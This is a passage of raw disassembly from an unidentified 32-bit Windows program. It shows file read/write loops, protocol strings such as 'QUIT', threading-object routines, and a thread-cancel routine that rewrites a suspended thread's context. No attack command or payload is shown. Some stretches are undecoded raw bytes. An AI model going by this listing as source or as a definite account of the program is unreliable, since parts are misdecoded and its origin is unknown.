		call	sub_401F73
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42F7B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F7B7:				; CODE XREF: sub_42F6F0+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42F82D
		mov	ebp, dword_511AB0
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42F883


loc_42F7EA:				; CODE XREF: sub_42F6F0+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_402216
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42F813
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42F7EA
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F813:				; CODE XREF: sub_42F6F0+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F82D:				; CODE XREF: sub_42F6F0+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42F883
		mov	esi, dword_511AA0


loc_42F84A:				; CODE XREF: sub_42F6F0+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42F871
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42F84A
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F871:				; CODE XREF: sub_42F6F0+166j
		push	offset aLocalfileWrite ; "localfile write"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42F883:				; CODE XREF: sub_42F6F0+F4j
					; sub_42F6F0+121j ...
		push	edi
		call	near ptr 77C2C21Bh
		nop
		push	ebx
		nop
		call	near ptr 77C3EEF6h
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42F8A6
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4


loc_42F8A6:				; CODE XREF: sub_42F6F0+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BEF
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F6F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F940:				; CODE XREF: ___:004016A9j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F970:				; CODE XREF: ___:00401D43j
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42F9A7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9A7:				; CODE XREF: ___:0042F99Aj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_511A6C
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4474B8
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42F9E8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9E8:				; CODE XREF: ___:0042F9DBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4476BC
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FA44
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4476B4
		push	esi
		call	near ptr 77C41B72h
		nop
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42FA44
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42FA44:				; CODE XREF: ___:0042FA07j
					; ___:0042FA28j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FAA0:				; CODE XREF: ___:004013C0j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42FAD0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FAD0:				; CODE XREF: ___:0042FAC5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476C8
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42FB0B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FB0B:				; CODE XREF: ___:0042FAFBj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB70	proc near		; CODE XREF: sub_4016B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
sub_42FB70	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBA0:				; CODE XREF: ___:004016D1j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBD0:				; CODE XREF: ___:0040149Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	esi, dword_511A6C
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476E0
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FC69
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_4476D4
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FC69:				; CODE XREF: ___:0042FBF1j
					; ___:0042FC0Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FCB0:				; CODE XREF: ___:00401C7Bj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42FCD9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FCD9:				; CODE XREF: ___:0042FCD0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_4476EC
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD30	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42FD69
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42E490
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_511AD0
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42FD69:				; CODE XREF: sub_42FD30+Aj
		pop	esi
		retn
sub_42FD30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FD80:				; CODE XREF: ___:004021C1j
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42FD90
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FD90:				; CODE XREF: ___:0042FD87j
		push	1Ch
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		test	eax, eax
		jnz	short loc_42FDA6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FDA6:				; CODE XREF: ___:0042FD9Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE00:				; CODE XREF: ___:0040151Ej
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE19
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FE19:				; CODE XREF: ___:0042FE10j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE50:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42FE75
		test	eax, eax
		jz	short loc_42FE75
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42FE75:				; CODE XREF: ___:0042FE64j
					; ___:0042FE68j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEA0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FEB9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FEB9:				; CODE XREF: ___:0042FEB0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42FECD
		cmp	eax, 1
		jz	short loc_42FECD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FECD:				; CODE XREF: ___:0042FEBFj
					; ___:0042FEC4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEF0:				; CODE XREF: ___:00401519j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF10:				; CODE XREF: ___:00401834j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF30:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF49
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF49:				; CODE XREF: ___:0042FF40j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF70:				; CODE XREF: ___:00402207j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF89
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF89:				; CODE XREF: ___:0042FF80j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFB0:				; CODE XREF: ___:004019B0j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFE0:				; CODE XREF: ___:004019ABj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_430002
		dec	eax
		jz	short loc_42FFF2
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FFF2:				; CODE XREF: ___:0042FFEAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_430002:				; CODE XREF: ___:0042FFE7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430020:				; CODE XREF: ___:00401C1Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_4300BB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_4300BB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_4300B2
		mov	eax, [esp+14h]	; DATA XREF: ___:off_444E88o
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		jmp	short loc_430062
; ---------------------------------------------------------------------------


loc_430060:				; CODE XREF: ___:00430054j
					; ___:0043005Aj
		xor	eax, eax


loc_430062:				; CODE XREF: ___:0043005Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4300A8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43009F
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43009F:				; CODE XREF: ___:00430097j
		push	edi
		call	sub_401690
		add	esp, 4


loc_4300A8:				; CODE XREF: ___:00430082j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4300B2:				; CODE XREF: ___:0043004Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4300BB:				; CODE XREF: ___:00430029j
					; ___:00430035j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430100:				; CODE XREF: ___:0040220Cj
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_430168
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_430168
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43015E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43014F
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43014F:				; CODE XREF: ___:0043013Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch


loc_43015E:				; CODE XREF: ___:0043012Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430168:				; CODE XREF: ___:0043010Aj
					; ___:00430111j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301A0:				; CODE XREF: ___:004017A3j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_430254
		mov	esi, [eax]
		test	esi, esi
		jz	loc_430254
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 278076Dh
		test	eax, eax
		jnz	short loc_4301E7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_430234
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_402068
		add	esp, 8
		mov	esi, eax
		jmp	short loc_430230
; ---------------------------------------------------------------------------


loc_4301E7:				; CODE XREF: ___:004301C8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_43020B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_43020D


loc_43020B:				; CODE XREF: ___:004301F7j
		xor	ebx, ebx


loc_43020D:				; CODE XREF: ___:00430209j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_430230
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8


loc_430230:				; CODE XREF: ___:004301E5j
					; ___:0043021Fj
		test	esi, esi
		jnz	short loc_43024E


loc_430234:				; CODE XREF: ___:004301D2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_5103C8	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_43024E:				; CODE XREF: ___:00430232j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430254:				; CODE XREF: ___:004301A7j
					; ___:004301B1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430290:				; CODE XREF: ___:00401F6Ej
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4302B3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4302B3:				; CODE XREF: ___:004302A2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4302E0:				; CODE XREF: ___:00401A87j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_430301
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_430301
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430301:				; CODE XREF: ___:004302E9j
					; ___:004302EFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430320:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43033D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43033D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43033D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43033D:				; CODE XREF: ___:00430326j
					; ___:0043032Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430360:				; CODE XREF: ___:00401636j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43038A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43038A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43037E
		test	eax, eax
		jnz	short loc_43038A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43037E:				; CODE XREF: ___:00430375j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43038A:				; CODE XREF: ___:00430366j
					; ___:0043036Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4303A0	proc near		; CODE XREF: sub_401415j
		push	esi
		push	edi
		call	sub_4012E4
sub_4303A0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 35007CE8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	0E8000000h, 2350168h, 0B4E85390h
		dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_430460:				; CODE XREF: ___:00402261j
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 34FFBCE8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 3500A7E8h, 0F4E85702h
		dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401D02j
		push	esi
		push	edi
		call	sub_4012E4
sub_430520	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 1EE89050h, 850234FFh, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
		dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_4305A0:				; CODE XREF: ___:00401D39j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_4306D9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4305DB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4305DB:				; CODE XREF: ___:004305CCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A64
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402248
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_4306B2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_4306B2
		cmp	[esi+0Ch], ebp
		jge	loc_4306C5
		test	edi, edi
		jz	short loc_430644
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_430644:				; CODE XREF: ___:00430619j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 2770982h
		push	0
		push	edi
		nop
		call	near ptr 2780469h
		cmp	eax, 102h
		jnz	short loc_4306D2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		nop
		call	near ptr 2770B7Fh
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_430750
		push	ecx
		push	edi
		call	near ptr 2770D73h
		nop
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		call	near ptr 2780000h
		nop
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4306B2:				; CODE XREF: ___:004305FDj
					; ___:00430608j
		cmp	[esi+0Ch], ebp
		jge	short loc_4306C5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 27802D5h
		test	eax, eax
		jnz	short loc_4306C9


loc_4306C5:				; CODE XREF: ___:00430611j
					; ___:004306B5j
		mov	[esp+10h], ebp


